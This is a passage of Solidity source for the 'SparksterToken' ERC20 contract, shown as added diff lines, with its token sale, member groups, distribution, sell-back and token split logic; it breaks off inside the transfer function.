+contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + +contract BasicToken is ERC20Basic { + using SafeMath for uint256; + + mapping(address => uint256) balances; + + uint256 totalSupply_; + + + function totalSupply() public view returns (uint256) { + return totalSupply_; + } + + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + emit Transfer(msg.sender, _to, _value); + return true; + } + + + function balanceOf(address _owner) public view returns (uint256) { + return balances[_owner]; + } + +} + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + + + +contract StandardToken is ERC20, BasicToken { + + mapping (address => mapping (address => uint256)) internal allowed; + + + + function transferFrom( + address _from, + address _to, + uint256 _value + ) + public + returns (bool) + { + require(_to != address(0)); + require(_value <= balances[_from]); + require(_value <= allowed[_from][msg.sender]); + + balances[_from] = balances[_from].sub(_value); + balances[_to] = balances[_to].add(_value); + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); + emit Transfer(_from, _to, _value); + return true; + } + + + function approve(address _spender, uint256 _value) public returns (bool) { + allowed[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + + + function allowance( + address _owner, + address _spender + ) + public + view + returns (uint256) + { + return allowed[_owner][_spender]; + } + + + function increaseApproval( + address _spender, + uint256 _addedValue + ) + public + returns (bool) + { + allowed[msg.sender][_spender] = ( + allowed[msg.sender][_spender].add(_addedValue)); + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + + function decreaseApproval( + address _spender, + uint256 _subtractedValue + ) + public + returns (bool) + { + uint256 oldValue = allowed[msg.sender][_spender]; + if (_subtractedValue > oldValue) { + allowed[msg.sender][_spender] = 0; + } else { + allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); + } + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + +} + + + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + + + + +library strings { + struct slice { + uint _len; + uint _ptr; + } + + function memcpy(uint dest, uint src, uint len) private pure { + + for(; len >= 32; len -= 32) { + assembly { + mstore(dest, mload(src)) + } + dest += 32; + src += 32; + } + + + uint mask = 256 ** (32 - len) - 1; + assembly { + let srcpart := and(mload(src), not(mask)) + let destpart := and(mload(dest), mask) + mstore(dest, or(destpart, srcpart)) + } + } + + + function toSlice(string self) internal pure returns (slice) { + uint ptr; + assembly { + ptr := add(self, 0x20) + } + return slice(bytes(self).length, ptr); + } + + + function len(bytes32 self) internal pure returns (uint) { + uint ret; + if (self == 0) + return 0; + if (self & 0xffffffffffffffffffffffffffffffff == 0) { + ret += 16; + self = bytes32(uint(self) / 0x100000000000000000000000000000000); + } + if (self & 0xffffffffffffffff == 0) { + ret += 8; + self = bytes32(uint(self) / 0x10000000000000000); + } + if (self & 0xffffffff == 0) { + ret += 4; + self = bytes32(uint(self) / 0x100000000); + } + if (self & 0xffff == 0) { + ret += 2; + self = bytes32(uint(self) / 0x10000); + } + if (self & 0xff == 0) { + ret += 1; + } + return 32 - ret; + } + + + function toSliceB32(bytes32 self) internal pure returns (slice ret) { + + assembly { + let ptr := mload(0x40) + mstore(0x40, add(ptr, 0x20)) + mstore(ptr, self) + mstore(add(ret, 0x20), ptr) + } + ret._len = len(self); + } + + + function copy(slice self) internal pure returns (slice) { + return slice(self._len, self._ptr); + } + + + function toString(slice self) internal pure returns (string) { + string memory ret = new string(self._len); + uint retptr; + assembly { retptr := add(ret, 32) } + + memcpy(retptr, self._ptr, self._len); + return ret; + } + + + function len(slice self) internal pure returns (uint l) { + + uint ptr = self._ptr - 31; + uint end = ptr + self._len; + for (l = 0; ptr < end; l++) { + uint8 b; + assembly { b := and(mload(ptr), 0xFF) } + if (b < 0x80) { + ptr += 1; + } else if(b < 0xE0) { + ptr += 2; + } else if(b < 0xF0) { + ptr += 3; + } else if(b < 0xF8) { + ptr += 4; + } else if(b < 0xFC) { + ptr += 5; + } else { + ptr += 6; + } + } + } + + + function empty(slice self) internal pure returns (bool) { + return self._len == 0; + } + + + function compare(slice self, slice other) internal pure returns (int) { + uint shortest = self._len; + if (other._len < self._len) + shortest = other._len; + + uint selfptr = self._ptr; + uint otherptr = other._ptr; + for (uint idx = 0; idx < shortest; idx += 32) { + uint a; + uint b; + assembly { + a := mload(selfptr) + b := mload(otherptr) + } + if (a != b) { + + uint256 mask = uint256(-1); + if(shortest < 32) { + mask = ~(2 ** (8 * (32 - shortest + idx)) - 1); + } + uint256 diff = (a & mask) - (b & mask); + if (diff != 0) + return int(diff); + } + selfptr += 32; + otherptr += 32; + } + return int(self._len) - int(other._len); + } + + + function equals(slice self, slice other) internal pure returns (bool) { + return compare(self, other) == 0; + } + + + function nextRune(slice self, slice rune) internal pure returns (slice) { + rune._ptr = self._ptr; + + if (self._len == 0) { + rune._len = 0; + return rune; + } + + uint l; + uint b; + + assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) } + if (b < 0x80) { + l = 1; + } else if(b < 0xE0) { + l = 2; + } else if(b < 0xF0) { + l = 3; + } else { + l = 4; + } + + + if (l > self._len) { + rune._len = self._len; + self._ptr += self._len; + self._len = 0; + return rune; + } + + self._ptr += l; + self._len -= l; + rune._len = l; + return rune; + } + + + function nextRune(slice self) internal pure returns (slice ret) { + nextRune(self, ret); + } + + + function ord(slice self) internal pure returns (uint ret) { + if (self._len == 0) { + return 0; + } + + uint word; + uint length; + uint divisor = 2 ** 248; + + + assembly { word:= mload(mload(add(self, 32))) } + uint b = word / divisor; + if (b < 0x80) { + ret = b; + length = 1; + } else if(b < 0xE0) { + ret = b & 0x1F; + length = 2; + } else if(b < 0xF0) { + ret = b & 0x0F; + length = 3; + } else { + ret = b & 0x07; + length = 4; + } + + + if (length > self._len) { + return 0; + } + + for (uint i = 1; i < length; i++) { + divisor = divisor / 256; + b = (word / divisor) & 0xFF; + if (b & 0xC0 != 0x80) { + + return 0; + } + ret = (ret * 64) | (b & 0x3F); + } + + return ret; + } + + + function keccak(slice self) internal pure returns (bytes32 ret) { + assembly { + ret := keccak256(mload(add(self, 32)), mload(self)) + } + } + + + function startsWith(slice self, slice needle) internal pure returns (bool) { + if (self._len < needle._len) { + return false; + } + + if (self._ptr == needle._ptr) { + return true; + } + + bool equal; + assembly { + let length := mload(needle) + let selfptr := mload(add(self, 0x20)) + let needleptr := mload(add(needle, 0x20)) + equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) + } + return equal; + } + + + function beyond(slice self, slice needle) internal pure returns (slice) { + if (self._len < needle._len) { + return self; + } + + bool equal = true; + if (self._ptr != needle._ptr) { + assembly { + let length := mload(needle) + let selfptr := mload(add(self, 0x20)) + let needleptr := mload(add(needle, 0x20)) + equal := eq(sha3(selfptr, length), sha3(needleptr, length)) + } + } + + if (equal) { + self._len -= needle._len; + self._ptr += needle._len; + } + + return self; + } + + + function endsWith(slice self, slice needle) internal pure returns (bool) { + if (self._len < needle._len) { + return false; + } + + uint selfptr = self._ptr + self._len - needle._len; + + if (selfptr == needle._ptr) { + return true; + } + + bool equal; + assembly { + let length := mload(needle) + let needleptr := mload(add(needle, 0x20)) + equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) + } + + return equal; + } + + + function until(slice self, slice needle) internal pure returns (slice) { + if (self._len < needle._len) { + return self; + } + + uint selfptr = self._ptr + self._len - needle._len; + bool equal = true; + if (selfptr != needle._ptr) { + assembly { + let length := mload(needle) + let needleptr := mload(add(needle, 0x20)) + equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) + } + } + + if (equal) { + self._len -= needle._len; + } + + return self; + } + + event log_bytemask(bytes32 mask); + + + + function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) { + uint ptr = selfptr; + uint idx; + + if (needlelen <= selflen) { + if (needlelen <= 32) { + bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); + + bytes32 needledata; + assembly { needledata := and(mload(needleptr), mask) } + + uint end = selfptr + selflen - needlelen; + bytes32 ptrdata; + assembly { ptrdata := and(mload(ptr), mask) } + + while (ptrdata != needledata) { + if (ptr >= end) + return selfptr + selflen; + ptr++; + assembly { ptrdata := and(mload(ptr), mask) } + } + return ptr; + } else { + + bytes32 hash; + assembly { hash := sha3(needleptr, needlelen) } + + for (idx = 0; idx <= selflen - needlelen; idx++) { + bytes32 testHash; + assembly { testHash := sha3(ptr, needlelen) } + if (hash == testHash) + return ptr; + ptr += 1; + } + } + } + return selfptr + selflen; + } + + + + function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) { + uint ptr; + + if (needlelen <= selflen) { + if (needlelen <= 32) { + bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); + + bytes32 needledata; + assembly { needledata := and(mload(needleptr), mask) } + + ptr = selfptr + selflen - needlelen; + bytes32 ptrdata; + assembly { ptrdata := and(mload(ptr), mask) } + + while (ptrdata != needledata) { + if (ptr <= selfptr) + return selfptr; + ptr--; + assembly { ptrdata := and(mload(ptr), mask) } + } + return ptr + needlelen; + } else { + + bytes32 hash; + assembly { hash := sha3(needleptr, needlelen) } + ptr = selfptr + (selflen - needlelen); + while (ptr >= selfptr) { + bytes32 testHash; + assembly { testHash := sha3(ptr, needlelen) } + if (hash == testHash) + return ptr + needlelen; + ptr -= 1; + } + } + } + return selfptr; + } + + + function find(slice self, slice needle) internal pure returns (slice) { + uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); + self._len -= ptr - self._ptr; + self._ptr = ptr; + return self; + } + + + function rfind(slice self, slice needle) internal pure returns (slice) { + uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr); + self._len = ptr - self._ptr; + return self; + } + + + function split(slice self, slice needle, slice token) internal pure returns (slice) { + uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); + token._ptr = self._ptr; + token._len = ptr - self._ptr; + if (ptr == self._ptr + self._len) { + + self._len = 0; + } else { + self._len -= token._len + needle._len; + self._ptr = ptr + needle._len; + } + return token; + } + + + function split(slice self, slice needle) internal pure returns (slice token) { + split(self, needle, token); + } + + + function rsplit(slice self, slice needle, slice token) internal pure returns (slice) { + uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr); + token._ptr = ptr; + token._len = self._len - (ptr - self._ptr); + if (ptr == self._ptr) { + + self._len = 0; + } else { + self._len -= token._len + needle._len; + } + return token; + } + + + function rsplit(slice self, slice needle) internal pure returns (slice token) { + rsplit(self, needle, token); + } + + + function count(slice self, slice needle) internal pure returns (uint cnt) { + uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len; + while (ptr <= self._ptr + self._len) { + cnt++; + ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len; + } + } + + + function contains(slice self, slice needle) internal pure returns (bool) { + return rfindPtr(self._len, self._ptr, needle._len, needle._ptr) != self._ptr; + } + + + function concat(slice self, slice other) internal pure returns (string) { + string memory ret = new string(self._len + other._len); + uint retptr; + assembly { retptr := add(ret, 32) } + memcpy(retptr, self._ptr, self._len); + memcpy(retptr + self._len, other._ptr, other._len); + return ret; + } + + + function join(slice self, slice[] parts) internal pure returns (string) { + if (parts.length == 0) + return ""; + + uint length = self._len * (parts.length - 1); + for(uint i = 0; i < parts.length; i++) + length += parts[i]._len; + + string memory ret = new string(length); + uint retptr; + assembly { retptr := add(ret, 32) } + + for(i = 0; i < parts.length; i++) { + memcpy(retptr, parts[i]._ptr, parts[i]._len); + retptr += parts[i]._len; + if (i < parts.length - 1) { + memcpy(retptr, self._ptr, self._len); + retptr += self._len; + } + } + + return ret; + } +} + + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + + + + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + + +pragma solidity 0.4.24; + +contract SparksterToken is StandardToken, Ownable{ + using strings for *; + using SafeMath for uint256; + struct Member { + address walletAddress; + mapping(uint256 => bool) groupMemberships; + mapping(uint256 => uint256) ethBalance; + mapping(uint256 => uint256) tokenBalance; + uint256 max1; + int256 transferred; + bool exists; + } + + struct Group { + bool distributed; + bool distributing; + bool unlocked; + uint256 groupNumber; + uint256 ratio; + uint256 startTime; + uint256 phase1endTime; + uint256 phase2endTime; + uint256 deadline; + uint256 max2; + uint256 max3; + uint256 ethTotal; + uint256 cap; + uint256 howManyDistributed; + } + + bool public transferLock = true; + bool public allowedToSell = false; + bool public allowedToPurchase = false; + string public name; + string public symbol; + uint8 public decimals; + uint256 public maxGasPrice; + uint256 internal nextGroupNumber; + uint256 public sellPrice; + address[] internal allMembers; + address[] internal allNonMembers; + mapping(address => bool) internal nonMemberTransfers; + mapping(address => Member) internal members; + mapping(uint256 => Group) internal groups; + mapping(uint256 => address[]) internal associations; + uint256 public openGroupNumber; + event PurchaseSuccess(address indexed _addr, uint256 _groupNumber, uint256 _weiAmount,uint256 _totalEthBalance,uint256 _totalTokenBalance); + event NearingHardCap(uint256 groupNumber, uint256 remainder); + event ReachedHardCap(uint256 groupNumber); + event DistributeDone(uint256 groupNumber); + event UnlockDone(uint256 groupNumber); + event GroupCreated(uint256 groupNumber, uint256 startTime, uint256 phase1endTime, uint256 phase2endTime, uint256 deadline, uint256 phase2cap, uint256 phase3cap, uint256 cap, uint256 ratio); + event ChangedAllowedToSell(bool allowedToSell); + event ChangedAllowedToPurchase(bool allowedToPurchase); + event ChangedTransferLock(bool transferLock); + event SetSellPrice(uint256 sellPrice); + event Added(address walletAddress, uint256 group, uint256 tokens, uint256 maxContribution1); + event SplitTokens(uint256 splitFactor); + event ReverseSplitTokens(uint256 splitFactor); + + + modifier onlyPayloadSize(uint size) { + require(msg.data.length == size + 4); + _; + } + + modifier canTransfer() { + require(!transferLock); + _; + } + + modifier canPurchase() { + require(allowedToPurchase); + _; + } + + modifier canSell() { + require(allowedToSell); + _; + } + + function() public payable { + purchase(); + } + + constructor() public { + name = "Sparkster"; + decimals = 18; + symbol = "SPRK"; + setMaximumGasPrice(40); + + mintTokens(435000000); + } + + function setMaximumGasPrice(uint256 gweiPrice) public onlyOwner returns(bool success) { + maxGasPrice = gweiPrice.mul(10**9); + return true; + } + + function parseAddr(string _a) pure internal returns (address){ + bytes memory tmp = bytes(_a); + uint160 iaddr = 0; + uint160 b1; + uint160 b2; + for (uint i=2; i<2+2*20; i+=2){ + iaddr *= 256; + b1 = uint160(tmp[i]); + b2 = uint160(tmp[i+1]); + if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; + else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; + if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; + else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; + iaddr += (b1*16+b2); + } + return address(iaddr); + } + + function parseInt(string _a, uint _b) pure internal returns (uint) { + bytes memory bresult = bytes(_a); + uint mint = 0; + bool decim = false; + for (uint i = 0; i < bresult.length; i++) { + if ((bresult[i] >= 48) && (bresult[i] <= 57)) { + if (decim) { + if (_b == 0) break; + else _b--; + } + mint *= 10; + mint += uint(bresult[i]) - 48; + } else if (bresult[i] == 46) decim = true; + } + return mint; + } + + function mintTokens(uint256 amount) public onlyOwner { + + uint256 decimalAmount = amount.mul(uint(10)**decimals); + totalSupply_ = totalSupply_.add(decimalAmount); + balances[msg.sender] = balances[msg.sender].add(decimalAmount); + emit Transfer(address(0), msg.sender, decimalAmount); + } + + function purchase() public canPurchase payable{ + require(msg.sender != address(0)); + Member storage memberRecord = members[msg.sender]; + Group storage openGroup = groups[openGroupNumber]; + require(openGroup.ratio > 0); + require(memberRecord.exists && memberRecord.groupMemberships[openGroup.groupNumber] && !openGroup.distributing && !openGroup.distributed && !openGroup.unlocked); + uint256 currentTimestamp = block.timestamp; + require(currentTimestamp >= openGroup.startTime && currentTimestamp <= openGroup.deadline); + require(tx.gasprice <= maxGasPrice); + uint256 weiAmount = msg.value; + require(weiAmount >= 0.1 ether); + uint256 ethTotal = openGroup.ethTotal.add(weiAmount); + require(ethTotal <= openGroup.cap); + uint256 userETHTotal = memberRecord.ethBalance[openGroup.groupNumber].add(weiAmount); + if(currentTimestamp <= openGroup.phase1endTime){ + require(userETHTotal <= memberRecord.max1); + } else if (currentTimestamp <= openGroup.phase2endTime) { + require(userETHTotal <= openGroup.max2); + } else { + require(userETHTotal <= openGroup.max3); + } + uint256 tokenAmount = weiAmount.mul(openGroup.ratio); + uint256 newLeftOver = balances[owner].sub(tokenAmount); + openGroup.ethTotal = ethTotal; + memberRecord.ethBalance[openGroup.groupNumber] = userETHTotal; + memberRecord.tokenBalance[openGroup.groupNumber] = memberRecord.tokenBalance[openGroup.groupNumber].add(tokenAmount); + balances[owner] = newLeftOver; + owner.transfer(weiAmount); + emit PurchaseSuccess(msg.sender,openGroupNumber,weiAmount,memberRecord.ethBalance[openGroup.groupNumber],memberRecord.tokenBalance[openGroup.groupNumber]); + if (getHowMuchUntilHardCap() <= 100 ether) { + emit NearingHardCap(openGroupNumber, getHowMuchUntilHardCap()); + } + if (openGroup.ethTotal == openGroup.cap) { + emit ReachedHardCap(openGroupNumber); + } + } + + function sell(uint256 amount) public canSell { + uint256 decimalAmount = amount.mul(uint(10)**decimals); + if (members[msg.sender].exists) { + int256 sellValue = members[msg.sender].transferred + int(decimalAmount); + require(sellValue >= members[msg.sender].transferred); + require(sellValue <= int(getUnlockedBalanceLimit(msg.sender))); + members[msg.sender].transferred = sellValue; + } + balances[msg.sender] = balances[msg.sender].sub(decimalAmount); + + uint256 totalCost = amount.mul(sellPrice); + require(address(this).balance >= totalCost); + balances[owner] = balances[owner].add(decimalAmount); + msg.sender.transfer(totalCost); + emit Transfer(msg.sender, owner, decimalAmount); + } + + function fundContract() public onlyOwner payable { + } + + function setSellPrice(uint256 thePrice) public onlyOwner { + sellPrice = thePrice; + emit SetSellPrice(sellPrice); + } + + function setAllowedToSell(bool value) public onlyOwner { + allowedToSell = value; + emit ChangedAllowedToSell(allowedToSell); + } + + function setAllowedToPurchase(bool value) public onlyOwner { + allowedToPurchase = value; + emit ChangedAllowedToPurchase(allowedToPurchase); + } + + function createGroup(uint256 startEpoch, uint256 phase1endEpoch, uint256 phase2endEpoch, uint256 deadlineEpoch, uint256 phase2cap, uint256 phase3cap, uint256 etherCap, uint256 ratio) public onlyOwner returns (bool success, uint256 createdGroupNumber) { + Group storage theGroup = groups[nextGroupNumber]; + theGroup.groupNumber = nextGroupNumber; + theGroup.startTime = startEpoch; + theGroup.phase1endTime = phase1endEpoch; + theGroup.phase2endTime = phase2endEpoch; + theGroup.deadline = deadlineEpoch; + theGroup.max2 = phase2cap; + theGroup.max3 = phase3cap; + theGroup.cap = etherCap; + theGroup.ratio = ratio; + createdGroupNumber = nextGroupNumber; + nextGroupNumber++; + success = true; + emit GroupCreated(createdGroupNumber, startEpoch, phase1endEpoch, phase2endEpoch, deadlineEpoch, phase2cap, phase3cap, etherCap, ratio); + } + + function createGroup() public onlyOwner returns (bool success, uint256 createdGroupNumber) { + return createGroup(0, 0, 0, 0, 0, 0, 0, 0); + } + + function getGroup(uint256 groupNumber) public view returns(bool distributed, bool unlocked, uint256 phase2cap, uint256 phase3cap, uint256 cap, uint256 ratio, uint256 startTime, uint256 phase1endTime, uint256 phase2endTime, uint256 deadline, uint256 weiTotal, uint256 howManyDistributed) { + require(groupNumber < nextGroupNumber); + Group storage theGroup = groups[groupNumber]; + distributed = theGroup.distributed; + unlocked = theGroup.unlocked; + phase2cap = theGroup.max2; + phase3cap = theGroup.max3; + cap = theGroup.cap; + ratio = theGroup.ratio; + startTime = theGroup.startTime; + phase1endTime = theGroup.phase1endTime; + phase2endTime = theGroup.phase2endTime; + deadline = theGroup.deadline; + weiTotal = theGroup.ethTotal; + howManyDistributed = theGroup.howManyDistributed; + } + + function getHowMuchUntilHardCap() public view returns(uint256 remainder) { + return groups[openGroupNumber].cap - groups[openGroupNumber].ethTotal; + } + + function getHowManyLeftToDistribute(uint256 groupNumber) public view returns(uint256 howManyLeftToDistribute) { + require(groupNumber < nextGroupNumber); + Group storage theGroup = groups[groupNumber]; + howManyLeftToDistribute = associations[groupNumber].length - theGroup.howManyDistributed; + } + + function getMembersInGroup(uint256 groupNumber) public view returns (address[]) { + require(groupNumber < nextGroupNumber); + return associations[groupNumber]; + } + + function addMember(address walletAddress, uint256 groupNumber, uint256 tokens, uint256 maxContribution1) public onlyOwner returns (bool success) { + Member storage theMember = members[walletAddress]; + Group storage theGroup = groups[groupNumber]; + require(groupNumber < nextGroupNumber); + require(!theGroup.distributed && !theGroup.distributing && !theGroup.unlocked); + require(!theMember.exists); + theMember.walletAddress = walletAddress; + theMember.groupMemberships[groupNumber] = true; + balances[owner] = balances[owner].sub(tokens); + theMember.tokenBalance[groupNumber] = tokens; + theMember.max1 = maxContribution1; + if (balances[walletAddress] > 0) { + theMember.transferred = -int(balances[walletAddress]); + } + theMember.exists = true; + associations[groupNumber].push(walletAddress); + + allMembers.push(walletAddress); + + emit Added(walletAddress, groupNumber, tokens, maxContribution1); + return true; + } + + function addMemberToGroup(address walletAddress, uint256 groupNumber) public onlyOwner returns(bool success) { + Member storage memberRecord = members[walletAddress]; + require(memberRecord.exists && groupNumber < nextGroupNumber && !memberRecord.groupMemberships[groupNumber]); + memberRecord.groupMemberships[groupNumber] = true; + associations[groupNumber].push(walletAddress); + return true; + } + function upload(string uploadedData) public onlyOwner returns (bool success) { + + strings.slice memory uploadedSlice = uploadedData.toSlice(); + strings.slice memory nextRecord = "".toSlice(); + strings.slice memory nextDatum = "".toSlice(); + strings.slice memory recordSeparator = "|".toSlice(); + strings.slice memory datumSeparator = ":".toSlice(); + while (!uploadedSlice.empty()) { + nextRecord = uploadedSlice.split(recordSeparator); + nextDatum = nextRecord.split(datumSeparator); + address memberAddress = parseAddr(nextDatum.toString()); + nextDatum = nextRecord.split(datumSeparator); + uint256 memberGroup = parseInt(nextDatum.toString(), 0); + nextDatum = nextRecord.split(datumSeparator); + uint256 memberTokens = parseInt(nextDatum.toString(), 0); + nextDatum = nextRecord.split(datumSeparator); + uint256 memberMaxContribution1 = parseInt(nextDatum.toString(), 0); + addMember(memberAddress, memberGroup, memberTokens, memberMaxContribution1); + } + return true; + } + + function distribute(uint256 groupNumber, uint256 howMany) public onlyOwner returns (bool success) { + Group storage theGroup = groups[groupNumber]; + require(groupNumber < nextGroupNumber && !theGroup.distributed ); + uint256 inclusiveStartIndex = theGroup.howManyDistributed; + uint256 exclusiveEndIndex = inclusiveStartIndex.add(howMany); + theGroup.distributing = true; + uint256 n = associations[groupNumber].length; + require(n > 0 ); + if (exclusiveEndIndex > n) { + exclusiveEndIndex = n; + } + for (uint256 i = inclusiveStartIndex; i < exclusiveEndIndex; i++) { + address memberAddress = associations[groupNumber][i]; + Member storage currentMember = members[memberAddress]; + uint256 balance = currentMember.tokenBalance[groupNumber]; + if (balance > 0) { + balances[memberAddress] = balances[memberAddress].add(balance); + emit Transfer(owner, memberAddress, balance); + } + theGroup.howManyDistributed++; + } + if (theGroup.howManyDistributed == n) { + theGroup.distributed = true; + theGroup.distributing = false; + emit DistributeDone(groupNumber); + } + return true; + } + + function getUnlockedBalanceLimit(address walletAddress) internal view returns(uint256 balance) { + Member storage theMember = members[walletAddress]; + if (!theMember.exists) { + return balances[walletAddress]; + } + for (uint256 i = 0; i < nextGroupNumber; i++) { + if (groups[i].unlocked) { + balance = balance.add(theMember.tokenBalance[i]); + } + } + return balance; + } + + function getUnlockedTokens(address walletAddress) public view returns(uint256 balance) { + Member storage theMember = members[walletAddress]; + if (!theMember.exists) { + return balances[walletAddress]; + } + return uint256(int(getUnlockedBalanceLimit(walletAddress)) - theMember.transferred); + } + + function unlock(uint256 groupNumber) public onlyOwner returns (bool success) { + Group storage theGroup = groups[groupNumber]; + require(theGroup.distributed && !theGroup.unlocked); + theGroup.unlocked = true; + emit UnlockDone(groupNumber); + return true; + } + + function setTransferLock(bool value) public onlyOwner { + transferLock = value; + emit ChangedTransferLock(transferLock); + } + + function burn(uint256 amount) public onlyOwner { + + + balances[msg.sender] = balances[msg.sender].sub(amount); + totalSupply_ = totalSupply_.sub(amount); + emit Transfer(msg.sender, address(0), amount); + } + + function splitTokensBeforeDistribution(uint256 splitFactor) public onlyOwner returns (bool success) { + + uint256 n = allMembers.length; + uint256 ownerBalance = balances[msg.sender]; + uint256 increaseSupplyBy = ownerBalance.mul(splitFactor).sub(ownerBalance); + balances[msg.sender] = balances[msg.sender].mul(splitFactor); + totalSupply_ = totalSupply_.mul(splitFactor); + emit Transfer(address(0), msg.sender, increaseSupplyBy); + for (uint256 i = 0; i < n; i++) { + Member storage currentMember = members[allMembers[i]]; + + currentMember.transferred = currentMember.transferred * int(splitFactor); + + for (uint256 j = 0; j < nextGroupNumber; j++) { + uint256 memberBalance = currentMember.tokenBalance[j]; + uint256 multiplier = memberBalance.mul(splitFactor); + currentMember.tokenBalance[j] = multiplier; + } + } + + n = nextGroupNumber; + require(n > 0); + for (i = 0; i < n; i++) { + Group storage currentGroup = groups[i]; + currentGroup.ratio = currentGroup.ratio.mul(splitFactor); + } + emit SplitTokens(splitFactor); + return true; + } + + function reverseSplitTokensBeforeDistribution(uint256 splitFactor) public onlyOwner returns (bool success) { + + uint256 n = allMembers.length; + uint256 ownerBalance = balances[msg.sender]; + uint256 decreaseSupplyBy = ownerBalance.sub(ownerBalance.div(splitFactor)); + + totalSupply_ = totalSupply_.div(splitFactor); + balances[msg.sender] = ownerBalance.div(splitFactor); + + emit Transfer(msg.sender, address(0), decreaseSupplyBy); + for (uint256 i = 0; i < n; i++) { + Member storage currentMember = members[allMembers[i]]; + + currentMember.transferred = currentMember.transferred / int(splitFactor); + for (uint256 j = 0; j < nextGroupNumber; j++) { + uint256 memberBalance = currentMember.tokenBalance[j]; + uint256 divier = memberBalance.div(splitFactor); + currentMember.tokenBalance[j] = divier; + } + } + + n = nextGroupNumber; + require(n > 0); + for (i = 0; i < n; i++) { + Group storage currentGroup = groups[i]; + currentGroup.ratio = currentGroup.ratio.div(splitFactor); + } + emit ReverseSplitTokens(splitFactor); + return true; + } + + function splitTokensAfterDistribution(uint256 splitFactor) public onlyOwner returns (bool success) { + splitTokensBeforeDistribution(splitFactor); + uint256 n = allMembers.length; + for (uint256 i = 0; i < n; i++) { + address currentMember = allMembers[i]; + uint256 memberBalance = balances[currentMember]; + if (memberBalance > 0) { + uint256 multiplier1 = memberBalance.mul(splitFactor); + uint256 increaseMemberSupplyBy = multiplier1.sub(memberBalance); + balances[currentMember] = multiplier1; + emit Transfer(address(0), currentMember, increaseMemberSupplyBy); + } + } + n = allNonMembers.length; + for (i = 0; i < n; i++) { + address currentNonMember = allNonMembers[i]; + + if (members[currentNonMember].exists) { + continue; + } + uint256 nonMemberBalance = balances[currentNonMember]; + if (nonMemberBalance > 0) { + uint256 multiplier2 = nonMemberBalance.mul(splitFactor); + uint256 increaseNonMemberSupplyBy = multiplier2.sub(nonMemberBalance); + balances[currentNonMember] = multiplier2; + emit Transfer(address(0), currentNonMember, increaseNonMemberSupplyBy); + } + } + emit SplitTokens(splitFactor); + return true; + } + + function reverseSplitTokensAfterDistribution(uint256 splitFactor) public onlyOwner returns (bool success) { + reverseSplitTokensBeforeDistribution(splitFactor); + uint256 n = allMembers.length; + for (uint256 i = 0; i < n; i++) { + address currentMember = allMembers[i]; + uint256 memberBalance = balances[currentMember]; + if (memberBalance > 0) { + uint256 divier1 = memberBalance.div(splitFactor); + uint256 decreaseMemberSupplyBy = memberBalance.sub(divier1); + balances[currentMember] = divier1; + emit Transfer(currentMember, address(0), decreaseMemberSupplyBy); + } + } + n = allNonMembers.length; + for (i = 0; i < n; i++) { + address currentNonMember = allNonMembers[i]; + + if (members[currentNonMember].exists) { + continue; + } + uint256 nonMemberBalance = balances[currentNonMember]; + if (nonMemberBalance > 0) { + uint256 divier2 = nonMemberBalance.div(splitFactor); + uint256 decreaseNonMemberSupplyBy = nonMemberBalance.sub(divier2); + balances[currentNonMember] = divier2; + emit Transfer(currentNonMember, address(0), decreaseNonMemberSupplyBy); + } + } + emit ReverseSplitTokens(splitFactor); + return true; + } + + function changeMaxContribution(address memberAddress, uint256 newMax1) public onlyOwner { + + Member storage theMember = members[memberAddress]; + require(theMember.exists); + theMember.max1 = newMax1; + } + + function transfer(address _to, uint256 _value) public onlyPayloadSize(2 * 32) canTransfer returns (bool success) { + + Member storage fromMember = members[msg.sender]; + if (fromMember.exists) { + int256 transferValue = fromMember.transferred + 